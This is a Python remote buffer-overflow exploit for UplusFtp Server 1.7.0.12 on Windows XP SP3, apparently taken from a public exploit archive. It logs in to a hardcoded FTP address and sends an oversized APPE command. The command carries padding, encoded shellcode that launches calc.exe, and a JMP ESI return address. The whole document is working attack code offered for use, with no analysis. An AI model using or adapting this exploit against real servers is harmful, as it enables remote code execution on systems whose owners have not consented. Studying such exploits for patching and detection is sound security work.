UplusFtp Server 1.7.0.12 Buffer Overflow

`#!/usr/bin/python  
#  
# Title: UplusFtp Server 1.7.0.12 Remote Buffer Overflow  
# Date: 02-03-2010  
# Author: b0telh0  
# Link: http://easyftpsvr.googlecode.com/files/uplusftp-server-1.7.0.12-en.zip  
# Tested on: Windows XP SP3  
  
# CWD, DELE, LIST, MKD, NLST (and etc) commands are also vulnerable.  
#   
  
  
import socket  
import time  
  
# windows/exec - 227 bytes  
# EXITFUNC=process, CMD=calc.exe  
shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"  
"\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"  
"\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"  
"\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"  
"\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"  
"\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"  
"\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"  
"\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"  
"\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"  
"\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"  
"\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"  
"\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"  
"\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"  
"\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"  
"\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"  
"\x5d\xd9");  
  
junk = "\x90" * 41  
eip = "\x4e\xae\x3a\x7e" #7E3AAE4E JMP ESI USER32.dll  
nops = "\x90" * 28  
  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print "\n[+] UplusFtp Server v1.7.0.12 Exploit!"  
connect=s.connect(('10.1.1.110',21))  
d=s.recv(1024)  
print "[+] " +d  
print "[+] Sending username..."  
time.sleep(1)  
s.send('USER test\r\n')  
s.recv(1024)  
print "[+] Sending password..."  
time.sleep(1)  
s.send('PASS test\r\n')  
s.recv(1024)  
print "[+] Sending buffer..."  
time.sleep(1)  
s.send('APPE ' + junk + shellcode + eip + nops + 'r\n')  
print "[.] done!\n"  
except:  
print "[-] Can't connect to ftp server!\n"  
  
  
`